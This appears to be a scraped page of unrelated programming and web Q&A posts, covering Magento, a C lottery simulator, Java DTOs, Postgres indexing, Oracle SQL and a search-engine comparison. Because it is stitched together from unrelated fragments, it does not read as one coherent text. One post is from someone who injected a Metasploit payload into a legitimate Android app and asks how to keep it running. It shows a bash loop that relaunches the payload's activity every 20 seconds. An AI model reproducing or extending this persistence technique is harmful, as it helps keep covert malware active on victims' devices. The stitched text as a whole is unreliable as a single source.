Emergency – our site down for 2 days. Ready to deploy on a new server but missing custom options; any way to put same custom options on all products?

Magento 1.9.4 

Our old Magento store (1.9.1) hosted at Hostforweb just stopped working (long story – first it was extremely slow = unusable; then the hosting company says they can move it to another node, which they did and the pages would not even load so now they are moving it back but we have been DOWN for days).

We have another hosting account with another company. I managed to set everything up and import all products via the Dataflow Import but this Dataflow import does NOT import custom options at all. I tried to do a regular Export/Import but it does not work – it says it’s ready to import but then hangs at Please Wait.

The import file has 137 KB in size

According to our new hosting company:

22-Feb-2019 22:57:55 UTC] PHP Fatal error: Allowed memory size of 2147483648 bytes exhausted (tried to allocate 8192 bytes) in /home/oursite/public_html/app/code/core/Mage/Core/Model/File/Validator/Image.php on line 101


This is a real emergency for us and we need to switch the domains to the new host where a site is all ready but missing custom options on products.

Is there an easy way to set up the very same custom options on all 1050 products?

C Program average not the same a calculated probability

Since I enjoy statistics, I created a C program that provides results for doing a lotto match. The calculated probability matches the programs average output for a full match, but a partial match is always significantly higher for the program output.

example: 6/49 match 6 is around 13 million, my program consistently has an average around 13 million.

example: 6/49 match 3 is around 57, my program consistently has an average of mid 900s.

The program flow is as follows:

  • The user inputs a max (ex: 49), a pick amount (ex: 6), a match amount (ex: 3), and the number of trials to perform
  • The user then inputs the match numbers in range of the max (ex: 3 18 44) and they are stored in an array
  • The program then generates a random pick of 6 numbers (checking for duplicates) from the max of 49, and stores them in an array
  • Once the program has 6 numbers with no duplicates, it then performs the match check to see if the user’s 3 numbers match any of the computer’s six numbers
  • A loop counter is increased by 1 for each match check. If there is no match, the computer picks another set of six random numbers and checks for a match
  • this process repeats until the computer’s 6 numbers contains the 3 numbers that the user entered
  • the program outputs a running average of how many attempts it took to match 3 out of the 6 computer picked numbers

Can anyone point out in the program why it only produces accurate results for a full match, and why a partial match is so high?

The code: (probably more efficient ways of programming. the match check loop counter is not increased during the computer’s pick and duplicate check)

#include <stdio.h> #include <stdlib.h> #include <string.h> #include <ctype.h> #include <time.h>  #define ARRAYSIZE 100  bool checkArray(int currentIndex, int number, int array[], int picks, int amttomatch); bool checkMatch(int arrayInput[], int arrayRandom[], int picks, int amttomatch); void sort( int array[], int picks); void print(int array[], int picks);  int roll (int max);  int main() {     bool duplicate;     bool match;     char quit;     int indexR, indexI, loopCount, input, max, random;     int inputNumbers[ARRAYSIZE], randomNumbers[ARRAYSIZE], attempts, picks, amttomatch;     double loop=0, total=0, average=0;     //FILE *fp1;// File pointer      //seed random number generator     time_t t;     srand((unsigned) time(&t));      printf("Lottery Probability\n\n");     while(quit != 'q'){        //User inputs array of numbers        printf("Enter a max number: ");        scanf("%d", &max);         printf("How many numbers (from %d) to pick: ", max);        scanf("%d", &picks);         printf("How many numbers to match out of the %d picks: ", picks);        scanf("%d", &amttomatch);         printf("Enter number of draws to perform: ");        scanf("%d", &attempts);        printf("\nInput %d numbers from 1 - %d\n", amttomatch, max);         for(indexI=0; indexI<amttomatch; indexI++){           inputNumbers[indexI]=0;        }        for(indexI=0; indexI<amttomatch; indexI++){           do{              printf("Entry%d: ",indexI+1);              scanf("%d", &input);              duplicate = checkArray(indexI,input,inputNumbers,picks,amttomatch);           }while((input<1 || input > max) || duplicate);           inputNumbers[indexI]=input;        }        printf("\n");         //Computer generates array of numbers and checks picks for a match        for(loopCount=1; loopCount<=attempts; loopCount++){            match = false;            while(!match){               for(indexR=0; indexR<picks; indexR++){                  randomNumbers[indexR]=0;               }               for(indexR=0; indexR<picks; indexR++){                  do{                     input = roll(max);                     duplicate = checkArray(indexR,input,randomNumbers,picks,amttomatch);                     //printf("%2.0f | %d ", loop,input);                     //printf("dup=%s\n", duplicate ? "true" : "false");                  }while((input<1 || input >max) || duplicate);                  randomNumbers[indexR]=input;                  //printf("%2.0f R=%d\n", loop,input);               }                match = checkMatch(inputNumbers, randomNumbers, picks, amttomatch);               loop++;               //printf("%2.0f ", loop);               //printf("match=%s\n", match ? "true" : "false");            }            total+=loop;            average = total/loopCount;            printf ("Attempts: %10.0lf   ", loop);            printf ("Average: %11.2lf   ", average);            printf ("Loop Count: %4d\n", loopCount);             loop=0;        }         /*        fp1 = fopen("matchAny.txt", "a");        fprintf (fp1,"%d/%-4d", picks, max);        fprintf (fp1,"Average Attempts: %11.2lf   ", average);        fprintf (fp1,"Loop Count: %4d ", loopCount-1);        fprintf (fp1,"Match Picks: %2d\n", amttomatch);        fclose (fp1);        */         printf("\n");        printf("Your Numbers:");        sort(inputNumbers,amttomatch);        print(inputNumbers,amttomatch);        printf("\nMatched Numbers %d of %d:", amttomatch, picks);        sort(randomNumbers,picks);        print(randomNumbers,picks);        printf("\n");         loop=0;        total=0;        average=0;        loopCount=1;         printf ("Hit enter to go again.  Hit 'Q' to exit\n");        _flushall();        quit = getchar();quit=tolower(quit);      }     return 0; }  /* Check arrays for a match */ bool checkMatch(int arrayInput[], int arrayRandom[], int picks, int amttomatch){    int indexR=0, indexI=0, amount=0;    bool match;    //printf("Check for match\n");    //print(arrayInput,amttomatch);    //printf("\n");    //print(arrayRandom,picks);    for(indexR; indexR<picks; indexR++){       for(indexI; indexI<amttomatch; indexI++){          if (arrayRandom[indexR] != arrayInput[indexI]){             //printf("%d | %d\n", arrayRandom[indexR], arrayInput[indexI]);             match = false;          } else{             //printf("%d = %d\n", arrayRandom[indexR], arrayInput[indexI]);              amount++;          }       }       //printf("\n");       indexI=0;    }    if(amount==amttomatch){       match = true;    }    return match; }  /* Check array for duplicates */ bool checkArray(int currentIndex, int number, int array[], int picks, int amttomatch){     int index = 0;     for(index;index<=currentIndex;index++){         if (array[index]==number){             //printf("%d = %d\n", array[index], number );             return true;         }     }     return false; }  void print(int array[], int picks){    int index = 0;    puts("");    for(index; index<picks; index++){       printf("Number%d: %d\n",index+1,array[index]);    } }  void sort( int array[], int picks){     int index, temp, pass, limit;     index = picks;     limit = picks-2;     for (pass=1;pass<=picks-1;++pass){         for(index=0;index<=limit;++index){             if (array[index]>array[index+1]){                 temp=array[index];                 array[index]=array[index+1];                 array[index+1]=temp;             }         }         --limit;     } }  int roll (int max) {    int rmax;     rmax = rand()%max+1;     return rmax; } 

Have generic methods that transfer DTO’s from different packages, but contain same fields

I have 3 services Service A, B, C which put and get data to/from Service D

+============================================+ |   Service A  |   Service B  |   Service C  | +============================================+ |       |              |              |      | |--------------------------------------------| |                  Service D                 | +--------------------------------------------+ 

Currently all 3 services A, B and C have exactly the same DTO’s

So I have the same DTO in 3 different packages. Here example of the class

pulbic class TemplateDto {      private Long    id;      private String  name;      private Integer someNumber      setter()     getter() } 

here the packages where the above DTO is contained:

com.test.serviceA.dto com.test.serviceB.dto com.test.serviceC.dto 

I thought it’s best to keep different DTO’s for the future in case they change

In service D should I implement 3 different puts and gets for all the different DTO’s or is there a better way without having to produce so much duplicated code?

Best index for column where values are mostly the same – Postgres

We have an integer column that currently consists only of 0 or 1 values. This column has now been used by a developer to store a unique 32-bit identifier on some occasions, and we need to be able to efficiently pull out rows containing any one of these identifiers. Given the value will be 0 or 1 say (I don’t have figures yet) 99% of the time, how might it best be indexed to query against the minority case? Am I even right in thinking the volume of common values will be an issue?

           Column           |  Type   |     Modifiers ----------------------------+---------+--------------------  event_value                | integer | not null 

There are currently no indexes on this column. And I don’t envisage the need to regularly select just the 0 or 1 values.

The table is of a reasonable size, currently 30 million rows and growing fast.

I appreciate this isn’t the best use of the column, but that can’t change in the short term.

Different column data in same row

select Distinct REGEXP_SUBSTR (Order_NO,'[^,:]+’, 1, 2) AS Order_NO1, –REGEXP_SUBSTR (Task_Name,'[^,:]+’, 1, 2) AS Task_Name, REGEXP_SUBSTR (Item_No,'[^,:]+’, 1, 2) AS Item_No, REGEXP_SUBSTR (Style_No,'[^,:]+’, 1, 2) AS Style_No, TASK1,TASK2,TASK3 from (select REGEXP_SUBSTR (task_details, ‘[^,]+’, 1, 1) AS Order_NO ,REGEXP_SUBSTR (task_details, ‘[^,]+’, 1, 2) AS Task_Name , REGEXP_SUBSTR (task_details, ‘[^,]+’, 1, 3) AS Item_No ,REGEXP_SUBSTR (task_details, ‘[^,]+’, 1, 4) AS Style_No ,initiated_date,due_date,update_time, case when task_name=’TASK1′ then update_details else null end as TASK1, case when task_name=’TASK2′ then update_details else null end as TASK2, case when task_name=’TASK3′ then update_details else null end as TASK3 from (select distinct a.task_id, b.task_category, b.task_name, b.initiated_date, b.due_date, b.task_details,a.update_time, a.update_details, a.username as initiator_or_updater, c.user_id AS assigned_user FROM Dashboard_Task_Completed b, dashboard_task_history A, dashboard_task_user c WHERE (a.update_time, A.task_id) in ( select MAX(UPDATE_TIME),task_id from dashboard_task_history dh where dh.task_id=a.task_id group by task_id ) and a.task_id=b.task_id and a.task_id=c.task_id and c.isescalation=’N’ and c.isreview=’N’ and b.task_category in (select Distinct(Task_Category) from Taskconfig where task_category=’TANDA’) ORDER BY a.task_id,a.update_time asc) order by task_id,update_time);

Current Output: enter image description here

Need Output Like below: enter image description here

I injected my payload into an Legit App and the app don’t runs on background. How can i do the same so that it runs regularly at regular intervals

I injected my payload into a legit app and the app doesn’t run in background. How can i do the same so that it runs regularly at regular intervals? This is the original code of payload to run at 20 seconds.

#!/bin/bash while : #do am start --user 0 -a android.intent.action.MAIN -n com.metasploit.stage/.MainActivity sleep 20 done 

Difference in Results: a Query to DuckDuckGo and the Same Query to Google.com

Why? FAQ does not adequately cover:

Result based on “Amanpour and friends Brexit:”

Using DuckDuckGo:

—————— #1 Result From DuckDuckGo: “Leftist Shill TRAITOR WITCH, Christiane Amanpour on BREXIT” (Propaganda)[2016]

—————— Using Google.com within 5 seconds and same search:

#1 Result From Google.com: First Vice President of the European Commission Frans Timmermans tells Christiane Amanpour that after a …

Search for: How much does Christiane Amanpour make?

Is Amanpour still on CNN? Amanpour is the Chief International Anchor for CNN and host [&&&&ETC]